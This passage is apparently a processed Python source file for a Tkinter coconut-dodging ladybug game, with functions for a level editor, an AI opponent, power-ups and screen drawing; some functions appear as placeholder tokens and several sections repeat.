data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 